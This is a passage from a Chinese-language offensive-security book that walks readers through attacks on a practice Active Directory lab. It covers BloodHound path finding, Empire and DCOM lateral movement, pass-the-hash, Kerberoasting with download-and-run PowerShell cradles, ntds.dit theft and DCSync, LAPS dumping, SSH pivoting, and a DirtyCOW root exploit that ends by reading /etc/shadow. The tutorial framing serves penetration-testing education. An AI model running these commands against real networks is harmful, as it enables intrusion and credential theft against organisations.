在右侧,有一个 Upload Data 的按钮 上传 acls.csv,group_membership.csv, local_admin.csv 和 sessions.csv 如果你没有一个域来测试这个,我已经在这里上传了四个 Bloodhound 文件:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重复这些练习了。一旦进入 Bloodhound 并导入了所有数据,我们就可以去查询“查找到域管理员的最短路径”。我们还可以选择特定的用户,看看是否可以将路径映射到特定的用户或组。在我们的示例中,我们攻陷的第一个用户机器是 [email protected]。在搜索栏中,我们输入该用户的用户名,单击 Pathfinding 按钮,然后键入“Domain Admin”(或任何其他用户),查看是否可以在这些对象之间显示对应的路由路径。 你可以从 Neil 的机器上看到,我们可以一路顺利的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。 如果我们能攻陷 HelpDesk 组,我们可以转到 Chris 的主机中,而且 Elon Muskkat 目前已登录此机器。如果我们能转移到他的进程或窃取他的明文密码,我们就可以把权限提升到域管理员! 对于大型网络的扫描结果,我们注意到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大好处是,它允许通过自己本身的叫 Cypher 的语言进行原始查询。有关自定义查询的 Cypher 的深入研究,请访问:https://blog.cptjesus.com/posts/introtocypher 。 我们可以添加哪种自定义查询?来看吧,@porterhau5在扩展 Bloodhound 跟踪和可视化攻击方面取得了很大进展。查看他们的文章:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。 从高层次的角度来看,@porterhau5增加了标记被攻陷主机的想法,以帮助更好地在内网漫游。例如,在这个伪造的场景中,我们通过仿冒用户 niel.pawstrong 来危害其他初始用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能,我们可以运行这些查询: 向被攻陷系统添加自有标签: MATCH (n) WHERE n.name=“[email protected]” SET n.owned=“phish”, n.wave=1 运行查询以显示所有被仿冒的系统 MATCH (n) WHERE n.owned=“phish” RETURN n 现在,我们可以向 Bloodhound 添加一些自定义查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自定义查询”旁边的“编辑”按钮。用以下内容替换所有文本: https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json 保存之后,我们应该创建更多的查询。现在我们可以单击查找结果“查找从所属节点到域管理员的最短路径”。 如果你想更仔细地研究这个问题,请查看 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直观,并允许更多的自定义功能:https://github.com/porterhau5/bloodhound-owned 。 到目前为止,在没有扫描的情况下,我们已经能够获得关于该组织的大量信息。这都是作为本地 AD 用户(域用户)的权限能做到的的,而且在大多数情况下,没有任何网络流量看起来太可疑。正如你所看到的,我们能够做到这一切,而无需成为本地管理员或对本地系统拥有任何管理权限。 Advanced ACL/ACE Bloodhound 当使用 Bloodhound 的收集方法访问控制列表(ACL)类型时,我们的脚本将查询 AD 以收集用户和对象的所有访问控制权限。我们从访问控制项(ACEs)收集的信息描述了用户、组和计算机的允许和拒绝权限。寻找和利用 ACEs 本身就是一个能写成完整的书的内容,但这里有一些很好的启动资源: BloodHound 1.3–acl 攻击路径更新 https://wald0.com/?p=112 介绍对抗性恢复方法 http://bit.ly/2GYU7S7 在将 ACL 数据导入 Bloodhound 时,我们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在弱点的地方。这将包括谁有能力更改或重置密码、向组中添加成员、为其他用户更新脚本路径等对象、更新对象或在对象上写入新的 ACE 等等。 怎么使用这个东西呢?当攻陷到某个用户和获得额外的凭证后,我们可以通过目标路径找到一个有能力重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域管理员或特权帐户的路径,甚至允许设置后门以供以后使用。了解这些类型的利用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲 。 横向漫游——移动 在一个拥有多个用户的机器上,通常的做法是创建一个新的用户凭证或者迁移不同用户的凭证。这种方法大量用于在环境中横向移动,这并不是什么新鲜问题。通常,从 Bloodhound 输出或共享工作站,作为攻击者,我们需要能够模仿被攻陷的受害者系统上的其他用户。 我们拥有的许多工具可以用不同的方法来实现这一点。比如 Metasploit,我们都应该非常熟悉使用 Post Exploitation 隐蔽框架来窃取 token。 在 Empire 中,我们可以使用窃取 token 来模拟该系统上的用户。我注意到,有时候窃取 token 会让我们的 shell 下线。为了避免这种情况,我们可以将一个新的 agent 注入到另一个用户拥有的正在运行的进程中。 在下面的图片中,我们使用钓鱼让一个员工运行了我们的恶意软件。。这使得我们可以在受害者用户的系统中运行我们自己的程序(neil.pawstrong)。在那个用户的系统上,我们可以转到 BuzzClawdrin 的系统,并用WMI(WindowsManagementInstrumentation)命令执行获得了一个新的 agent。这里的问题是,我们在最初攻击受害者 Neil.Pawstrong 的过程中,因为我们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,我们不应该窃取 token,而应该使用 Empire 的 psinject 功能。 psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程,从而将通用.NET运行库时加载到进程中并执行特定的 PowerShell 命令,而无需启动新的 PowerShell.exe 进程!”[ http://bit.ly/2HDxj6x ],我们使用它来生成一个全新的、以 buzz.clauldrin 的用户进程运行的 agent,这样我们现在就可以获得他的访问权限。 离开初始主机 现在你已经找到了将要移动到的潜在路径,那么获得这些系统的代码执行的选项是什么?最基本的方法是使用我们当前的有 Active Directory 权限的用户以获得对另一个系统的控制权,举个例子,一个经理可以完全访问其下属的计算机,一个拥有多个具有管理权限的会议/实验组计算机,他们的内部系统配置错误,或者发现有人手动将用户添加到该计算机上的本地管理组。这都是普通用户可以拥有远程访问到网络上的其他工作站的可能的一些方式。一旦攻陷了一台目标机器,我们既可以获取 Bloodhound 的结果,也可以重新扫描网络以查看我们在哪些机器上具有本地访问权限: Empire 模块: situational_awareness/network/powerview/find_localadmin_access Metasploit 模块:http://bit.ly/2JJ7ILb Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机名并尝试连接到它们。这绝对是一个会造成很大动静的工具,因为它需要连接到每个主机并且验证它是否是本地管理员。 我们可以看到,Empire 的 find_localadmin_access 模块标明了用户访问我们的陷阱的是一个 buzz.cyberspacekittens.local 机器。这应该和我们的 Bloodhound 回显的是一样的。为了再次检查我们是否有访问权限,我通常会执行一些非交互的远程命令,比如 dir [remote system]\C$ 并查看我们是否有对 C 盘的读/写权限。 在域内横向移动方面,有好几种做法。让我们先来看看 Empire 中最常见的(直接从 Empire 中提取的): inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份验证请求中继到 SMB 目标。如果成功地中继了身份验证,并且帐户具有较高的权限,则将在目标机器上利用 PSExec 执行指定的命令或 Empire 启动程序。 invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在本地/远程主机上执行 PowerShell 命令。如果提供了凭据,则在本地装入默认管理共享。此命令将在启动 msbuild.exe 进程的前后执行,而不启动 powershell.exe。 invoke_psremoting:使用 psremoting 在远程主机上执行 stager。只要受害者启用了 PSRemoting(这不总是启用的),我们就可以通过此服务执行 PowerShell。 invoke_sqloscmd:在远程主机上执行命令或着使用 xp_cmdshell 程序。就会反弹回一个 xp_cmdshell! invoke_wmi:使用 WMI 在远程主机上执行 stager。发现目标几乎总是启用了 WMI,这是执行 PowerShell payload 的一个很好的方法。 jenkins_script_console:将 Empire 代理部署到具有对脚本控制台未经身份验证访问权限的 Windows Jenkins 服务器。如我们所知,Jenkins 服务器是常见的,没有凭据通常意味着要使用 RCE 来通过 /script 端点。 invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在远程主机上调用命令。允许我们在不使用 psexec,WMI 或 PSRemoting 的情况下渗透进去。 invoke_psexec:使用 PsExec 类型在远程主机上执行 stager 功能。这是使用 PsExec 移动文件并执行的传统方法。这可能会触发警报,但如果没有其他可用的方法,这仍然是一个好方法。 invoke_smbexec:使用 SMBExec.ps 在远程主机上执行 stager。我们可以使用 samba 工具进行类似的攻击,而不是使用 PsExec。 invoke_sshcommand:通过 SSH 在远程主机上执行命令。 invoke_wmi_debugger:使用 WMI 将远程计算机上的目标二进制文件的调试器设置为 cmd.exe 或 stager。使用类似 sethc(粘滞键)的调试器工具来执行我们的代理。 new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO,此模块允许你将“即时”计划任务推送到可以编辑的 GPO,允许在应用 GPO 的系统上执行代码。 [http://www.harmj0y.net/blog/empire/empire-1-5/] 这些只是一些最简单和最常见的横向内网漫游技术。在本书的后面,我们将讨论一些不太常见的绕过网络的技术。在大多数内网中,通常启用 Windows Management Instrumentation(WMI),因为它是管理工作站所必需的服务。因此,我们可以使用 invoke-wmi 横向移动。由于我们使用的是本地缓存凭据,且我们的帐户可以访问远程主机,因此我们不需要知道用户的凭据。 在远程系统上执行 usemodule lateral_movement/invoke_wmi 设置你即将入侵的主机的相关信息: set ComputerName buzz.cyberspacekittens.local 配置你将使用的监听器: set Listener http 连接到远程主机并执行恶意程序: execute 和新的 agent 交互: agents interact sysinfo 利用 DCOM 的横向移动 有许多方法可以在主机上进行单次横向移动。如果泄露的帐户具有访问权限,或者你能够使用捕获的凭据创建令牌,我们可以使用 WMI、PowerShell 远程命令执行或 PSExec 生成不同的 shell。如果这些执行命令的方法受到监控怎么办?我们通过使用分布式组件对象模型(DCOM)实现一些很酷的 Windows 功能。DCOM 是用于在不同远程计算机上的软件组件之间通信的 Windows 功能。 你可以使用 Powershell 命令列出计算机的所有 DCOM 应用程序:GetCimInstance Win32_DCOMApplication 安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(例如 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上远程执行代码。当列出所有 DCOM 应用程序(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只要我们的帐户有权访问,我们就可以利用此功能在远程工作站上执行二进制文件。 powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”) 这将只在系统本地执行文件,并且我们不能将任何命令行参数包含到可执行文件中(因此不能使用 cmd /k 类型的攻击)。相反,我们可以从远程系统调用文件并执行它们,但请注意,用户将收到警告的弹窗。在本例中,我目前在一个受害者的主机 neil.cyberspacekittens.local 上,该主机可以管理访问一个名为 buzz 的远程工作站。我们将在 Neil 的工作站上共享一个文件夹,并托管我们的 payload。接下来,我们可以调用 DCOM 对象在远程受害者(buzz)计算机上执行托管的 payload。 $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”) 正如你在下一张图片中看到的,Buzz 的计算机上出现了一个关于运行 adobeupdate.exe 文件的弹出窗口。虽然大多数用户都会点击并运行这个,但它可能会让我们被目标察觉。 因此,避免这个问题的更好方法是在使用 DCOM 执行该文件之前将该文件移到上面(类似于装载受害者的驱动器)。@Enigam0x3对此做得更进一步,并利用 Excel 宏来使用 DCOM。首先,我们需要在自己的系统上创建恶意 Excel 文档,然后使用 PowerShell 脚本在受害者主机上执行此.xls 文件。 需要注意的一点是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或停止服务等等。这无疑为进一步研究 DCOM 功能提供了很好的起点。 参考文献: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ https://www.cybereason.com/blog/dcom-lateral-movement-techniques Pass-the-Hash 过去传递本地管理帐户 Pass-The-Hash(PTH)的方法在很大程度上已经开始消失。虽然还没有完全消失,但让我们快速回顾一下。PTH 攻击利用 Windows NTLM 哈希对系统进行身份验证,而不是使用用户的凭据。这是很重要的一点,首先,使用 Mimikatz 这样的工具可以很容易地恢复哈希,可以为本地帐户提取哈希(但需要本地管理员权限),可以从转储域控制器(不是明文密码)中恢复哈希(DCsync)等等。 PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管理员帐户已被禁用,并且出现了更新的安全功能,例如本地管理员密码解决方案(LAPS),为每个工作站创建随机密码,因此通常很少使用上述这种方法。过去,在一个工作站上获取本地管理帐户的哈希值在整个组织中是可以用相同的方法实现的,这意味着一个易受攻击的方案会使整个公司破产。 当然,这要求你必须是系统上的本地管理员,启用本地管理员帐户“administrator”,并且它是 RID 500帐户(意味着它必须是原始管理员帐户,不能是新创建的本地管理员帐户)。 执行命令: shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never 如果我们看到帐户处于活动状态,我们可以尝试从本地计算机中提取所有哈希值。请记住,这不会包括任何域账户哈希: Empire Module: powershell/credentials/powerdump Metasploit Module: http://bit.ly/2qzsyDI 例如: (Empire: powershell/credentials/powerdump) > execute Job started: 93Z8PE 输出: Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 我们可以使用 Empire(credentials/mimikatz/pth)或者启动可信任的 psexec,提交我们的哈希,并执行我们的自定义 payload,如下图所示: 如前所述,这是一种现在少见的古老的横向移动方式。如果你仍在考虑利用本地管理员帐户,但所处的环境有 LAPS(本地管理员密码解决方案),你可以使用几个不同的将它们从 Active Directory 中转储出的工具。这假设你已经拥有一个域管理员或 Helpdesk 类型帐户的权限: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/] 这是保持横向移动而不注销 Helpdesk 用户帐户的好方法。 从服务帐户获取凭据 如果你发现自己处于一个用户权限受限、无法从内存中提取密码、主机系统上没有密码的情况下,该怎么办...接下来该怎么办?好吧,我最喜欢的攻击之一是 Kerberoasting。 我们都知道 NTLM 存在缺陷,这是由于单向哈希(不含盐)、重放攻击和其他传统问题造成的,这也是许多公司转向采用 Kerberos 的原因。如我们所知,Kerberos 是一种安全的方法,用于对计算机网络中的服务请求进行身份验证。我们不会深入研究 Windows 中的 Kerberos 实现。但是,你应该知道域控制器通常充当票据授予的服务器;网络上的用户可以请求票据授予服务器以获取资源访问权的凭证。 什么是最严重的攻击?作为攻击者,我们可以掌握我们之前提取的目标服务帐户的任何 SPN 请求 Kerberos 服务票证。漏洞在于,当从域控制器请求服务票据时,该票证使用关联的服务用户的 NTLM 哈希加密。由于任何用户都可以请求任何票据,这意味着,如果我们可以猜测关联服务用户的 NTLM 哈希(加密票据的)的密码,那么我们现在就知道实际服务帐户的密码。这听起来可能有点令人困惑,所以让我们来看一个例子。 与以前类似,我们可以列出所有的SPN服务。这些是我们将为其提取所有 Kerberos 票据的服务帐户: setspn -T cyberspacekittens.local -F -Q / 我们可以将单个用户的 SPN 作为目标,也可以将所有用户的 Kerberos 票据拉入用户的内存中: 针对单个用户: powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local” 将所有用户票据拖到内存中 powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} 当然,你也可以使用 powersploit 执行此操作: https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/ 如果成功的话,我们已经将一个或多个不同的 Kerberos 票证导入到受害者计算机的内存中。我们现在需要一种方法来提取票据。我们可以使用好工具 Mimikatz Kerberos 导出: powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’ 一旦我们导出这些票证,它们将仍会驻留在受害者的机器上。在我们开始破解它们之前,我们必须从它们的系统中下载它们。请记住,票据是用服务帐户的 NTLM 哈希加密的。所以,如果我们能猜到 NTLM 哈希,我们就可以读取票据,现在也知道服务帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的工具(JTR 和 Hashcat 也支持破解 Kerberoast,稍后我们将讨论)。使用 Kerberoast 破解票证: 使用 Kerberoast 来破解票据: cd /opt/kerberoast python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi] 在这个例子中,服务帐户 csk-github 的密码是“p@ssw0rd!” 当然,Empire 有一个 PowerShell 模块为我们做所有需要做的事情。它位于 powershell/credentials/invoke_kerberoast 目录下( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 )。 你可以用 John the Ripper 甚至 Hashcat 来破解密码并输出结果。我以前在非常大的网络环境中运行 PowerShell 脚本时遇到过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将所有的票据都获取下来。 转储域控制器哈希 一旦我们获得了域管理访问权,从 DC 中提取所有哈希的老方法就是在域控制器上运行命令,并使用 Shadow Volume 或原始拷贝技术提取 ntds.dit 文件。 回顾磁盘卷影复制技术 由于我们确实可以访问文件系统,并且可以作为攻击者在域控制器上运行命令,因此我们希望获取存储在 ntds.dit 文件中的所有域内哈希。不幸的是,该文件不断地被读和写,即使作为系统,我们也无法读取或复制该文件。幸运的是,我们可以利用名为 Volume Shadow Copy Service 磁盘复制服务(VSS)的 Windows 功能,该功能将创建磁盘的快照副本。然后我们可以从该副本中读取 Ntds.dit 文件将其获取出来。并将其从计算机上取消,这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文件。最后,我们需要清理我们的行踪并删除磁盘拷贝: C:\vssadmin create shadow /for=C: copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM. copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM. reg SAVE HKLM\SYSTEM c:\SYS vssadmin delete shadows /for= [/oldest | /all | /shadow=] NinjaCopy Ninjacopy 是另一个工具,一旦我们在域控制器上,就可以用来获取 Ntds.dit 文件。Ninjacopy “通过读取原始磁盘卷并分析 NTFS 结构,从 NTFS 分区磁盘复制文件。这将绕过文件 DACL(任意访问控制列表)、读取句柄锁和 SACL(系统访问控制列表)。但你必须是管理员才能运行这个脚本。这可用于读取通常锁定的系统文件,如 NTDS.dit 文件或注册表配置单元。”[http://bit.ly/2HpvKwj] Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.dit DCSync 现在,我们已经回顾了从 DC 提取哈希的老方法,这些方法要求你在 DC 上运行系统命令,并且通常需要在该计算机上删除一些文件,让我们继续讨论新方法。最近,由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改变了从域控制器转储哈希的玩法。DCSync 的概念是它模拟域控制器来请求该域中用户的所有哈希。这意味着,只要你有权限,就不需要运行任何域控制器上的命令,也不必删除 DC 上的任何文件。 但是要使 DCSync 工作,必须具有从域控制器中提取哈希的适当权限。通常是限于域管理员、企业管理员、域控制器用户组以及将复制更改权限设置为允许(即复制所有更改和复制目录更改)的任何人,DCSync 将允许你的用户执行此攻击。这种攻击最初是在 Mimikatz 开发的,可以使用以下命令运行: Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes] 更好的是,DCSync 被引入了 PowerShell Empire 这样的工具,以使其更容易实现。 Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump 查看 DCSync hashdump,我们可以看到 Active Directory 中用户的所有 NTLM 哈希。此外,我们还有 krbtgt NTLM 哈希,这意味着我们现在(或在未来的活动中)可以执行 Golden Ticket attacks(黄金票据攻击)。 利用 VPS 在内网进行 RDP 横向移动 在当今世界,有了大量的新一代杀毒软件,在计算机之间横向运行 WMI/PowerShell Remoting/PSExec 并不总是最好的选择。我们还看到一些组织系统正在记录所有发生的 Windows 命令提示。为了解决这一切,我们有时需要回到基本的横向运动。使用 VPS 服务器的问题是,它只是一个没有 GUI 接口的 shell。因此,我们将配置路由和代理转发来自攻击者主机的流量,通过 VPS,然后再到被攻陷的主机,最后横向移动到下一个受害者。幸运的是,我们可以使用大部分本地工具完成任务。 首先,我们需要设置一个 VPS 服务器,启用开放到公网的多个端口,用 PTF 配置 Metasploit,并用 Meterpreter 攻陷最初的受害者。我们也可以用 Cobalt Strike 或其他框架来实现这一点,但在本例中我们将使用 Meterpreter。 我们可以利用默认的 SSH 客户机,使用本地端口转发(-L)。在这个场景中,我使用的是 Mac,但这也可以在 Windows 或 Linux 系统上完成。我们将使用 SSH 密钥通过 SSH 连接到我们的 VPS。我们还将在攻击者机器上配置本地端口,在本例中是3389(RDP),以将任何发送到该端口的流量转发到我们的 VPS。当该端口上的流量转发到我们的 VPS 时,它会将该流量发送到 VPS 上 3389 端口上的本地主机。最后,我们需要在 3389 端口上设置一个监听我们的 VPS 的端口,并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器设置一个端口转发,以能连接到受害者的系统。 用 Meterpreter payload 攻击受害者 在我们的机器上开启 SSH,并在我们的攻击者系统上设置本地端口转发(本地监听端口3389),以将针对该端口的所有流量发送到 3389 上的 VPS 本地主机端口。 ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 在 Meterpreter 会话上设置一个前置端口以监听端口3389上的 VPS,并通过被攻陷的机器将该流量发送到下一个要横向移动到的服务器。 portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 在我们的攻击者机器上,打开我们的 Microsoft 远程桌面客户端,将你的连接设置为你自己的本地主机 -127.0.0.1,然后输入受害者的凭据以通过 RDP 进行连接。 在 Linux 中横向移动 在 Linux 中的操作多年来变化不大。通常,如果你使用的是 dnscat2 或 Meterpreter,它们都支持自己的转发。 dnscat2: listen 127.0.0.1:9999 <target_IP>:22 Metasploit post/windows/manage/autoroute Metasploit Socks Proxy + Proxychains use auxiliary/server/socks4a Meterpreter: portfwd add –l 3389 –p 3389 –r <target_IP> 如果你幸运地获得了一个 SSH shell,那么我们可以通过该系统进行渗透。我们如何获得 SSH shell 呢?在许多情况下,一旦我们可以实现本地文件包含(LFI)或远程代码执行(RCE),我们可以尝试权限升级以读取 /etc/shadow 文件(和密码破解),或者我们可以利用一些 Mimimikatz 风格的方法。 与 Windows 和 Mimikatz 一样,Linux 系统也有同样的问题,密码以明文形式存储。@huntergregal 编写的工具可以转储特定进程,这些进程很可能以明文形式包含用户的密码。尽管迄今为止,这只适用于有限版本的 Linux 系统,但这个相同的概念可以在整个系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码: https://github.com/huntergregal/mimipenguin 一旦我们在被入侵的主机上获得了凭证,并且可以通过 SSH 反弹 shell,我们就可以通过这个隧道传输流量,并在机器之间进行数据隐藏。在 SSH 中,有一些很好的特性可以让我们执行这个操作过程: 设置动态 Sock Proxy 以使用 proxychains 通过主机隐藏我们的所有流量: ssh -D 127.0.0.1:8888 -p 22 @ <Target_IP> 单个端口的基本端口转发: ssh @<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80 通过 SSH 的 VPN。这是一个非常棒的特性,使得可以通过 SSH 隧道隐蔽传输第3层网络流量。 https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh Linux 提权 Linux 权限提升在很大程度上与 Windows 类似。我们寻找可以写入的易受攻击的服务、那些棘手的错误配置、平面文件中的密码、所有的可写文件、计划任务,当然还有修补问题。 在有效和高效地分析 Linux 系统中的权限提升问题方面,我们可以使用一些工具来为我们完成所有的工作。 在我们进行任何类型的权限提升攻击之前,我首先要在 Linux 主机上进行一个良好的信息收集工作,并识别所有关于系统的信息。这包括用户、服务、定时任务、软件版本、弱信任对象、错误配置的文件权限,甚至是 Docker 信息。我们可以使用一个名为 LinEnum 的工具来为我们完成所有的累活( https://github.com/rebootuser/linenum )。 这是一个非常长的报告,内容是你可能想要了解的关于底层系统的所有信息,这对于未来的活动来说是非常好的。 一旦我们获得了关于系统的信息,我们就会试图看看我们是否能够利用这些漏洞中的任何一个。如果我们找不到任何可用的漏洞或服务、计划任务中的错误配置,我们将直接在系统或应用程序上进行攻击。我试着最后做这些,因为总是有一个潜在的可能性可以直接使系统挂掉。 我们可以运行一个名为 linux-exploit-suggester 的工具来分析主机系统并识别缺失的补丁和漏洞。一旦识别出漏洞,该工具还将向你提供可用 PoC 漏洞的链接。 现在,我们要利用什么呢?这就是经验和实践真正发挥作用的地方。在我的实验中,我将配置大量不同的 Linux 版本,以验证这些漏洞攻击不会使底层系统崩溃。在这个场景中,我最喜欢的一个漏洞是 DirtyCOW。 DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时只读私有映射 COW 情况中断的方式中发现了竞争条件。非特权本地用户可以使用此缺陷获取对其他只读内存映射的写访问权限,从而增加他们在系统上的权限。”[https://dirtycow.ninja/] 简而言之,此漏洞允许攻击者通过内核漏洞从非特权用户转到 root 权限。这是我们能想到的的最佳权限提升的方法!但有一个问题是它会导致一些内核崩溃,所以我们必须确保在正确的 Linux 内核上使用正确的版本。 在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64): 下载 DirtyCOW payload wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c 编译 DirtyCOW payload gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread 运行 DirtyCOW 以访问系统 ./dirtycow-mem 关闭定期写回以使漏洞稳定 echo 0 > /proc/sys/vm/dirty_writeback_centisecs Try reading the shadow file cat /etc/shadow Linux 横向移动实验 横向移动的问题是,没有一个设置起点逐步深入的环境很难练习。因此,我们向你介绍了 CSK 网络安全实验。在这个实验中,你将在不同的设备之间进行切换,使用最近的漏洞攻击和权限提升攻击,并利用 Linux 环境中本身存在的应用程序进行攻击。 设置虚拟环境 这个虚拟实验环境的设置有些复杂。这是因为网络需要三个不同的静态虚拟机才能运行,并且你需要事先进行一些设置。所有这些都在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么你可能需要对它进行适当的调整。 下载三台虚拟机: http://thehackerplaybook.com/get.php?type=csk-lab 虽然你不需要这些系统的 root 帐户,但 hacker/changeme 是用户名/密码,尽量不要更改。 所有三台虚拟机都配置为使用 NAT 网络接口。要使该实验环境正常工作,你必须在 VMware 中配置虚拟机的 NAT 设置,才能使用172.16.250.0/24网络。要在 Windows VMware Workstation 中执行此操作,请执行以下操作: 在开始菜单,依次点击 编辑 -> 虚拟网络编辑器 -> 更改设置 选择需要设置 NAT 类型的界面(我这里设置的是 VMnet8) 修改子网 IP 为 172.16.250.0 ,并点击 应用 在 OSX 中,操作更复杂。你需要: 复制原始的 dhcpd.conf 作为备份 sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup 编辑 dhcpd.conf 文件以使用172.16.250.x 而不是192.168.x.x sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf 编辑 nat.conf 以使用正确的网关 sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf #NAT gateway address ip = 172.16.250.2 netmask = 255.255.255.0 重新启动服务: sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start 现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内获得一个 DHCP 分配的 IP。如果你这样做了,就同时启动所有其他三个实验虚拟机,然后开始黑客攻击吧。 攻击 CSK 安全网络 最后,你已经从 Windows 环境转到了安全生产环境网络中。从你所有的侦察和研究中,你知道所有的秘密都存储在这里。这是他们保护最严密的网络之一,我们知道他们已经分步部署了他们的安全基础设施。从他们的文档来看,似乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换才能访问核心数据库。这就是你发起这次攻击的目的...... 以安全网络区域的外部为中心,可以看到为此环境配置的网络范围位于172.16.250.0/24网络中。由于你对这个网络不太了解,你可以先进行一些非常简单的 nmap 扫描。你需要确定哪些系统可以从网络外部访问,以确定如何启动攻击。 扫描网络: nmap 172.16.50.0/24 你注意到有三个设备正在运行,但只有一个设备启用了 Web 端口。看起来其他两个设备与安全网络之外是隔离的,这意味着我们必须首先入侵172.16.250.10设备才能转到其他两个服务器。访问第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会注意到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马想到了Equifax 数据泄露事件中黑客的攻击手法。你喜出望外,太好了,但你还是要检查一下。在 msfconsole 上运行一个快速搜索并测试漏洞 struts2_content_type_ognl。 我们知道,CSK 会严格监控受保护的网络流量,其内部服务器可能不允许直接访问公司网络。为了解决这个问题,我们必须使用我们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通信。当然,在真实操作中,我们可能会使用权威的 DNS 服务器,但仅针对本地测试的话,我们将配置自己的 DNS 服务器。 [本书的 Kali 机器] 本书的定制 Kali 虚拟机应该拥有执行攻击的所有工具。 我们需要在 Web 服务器上放上我们的 payload,这样我们就可以让我们的 metasploit payload 抓取 dnscat 恶意软件。在 dnscat2 客户机文件夹中是 dnscat 二进制文件。 cd 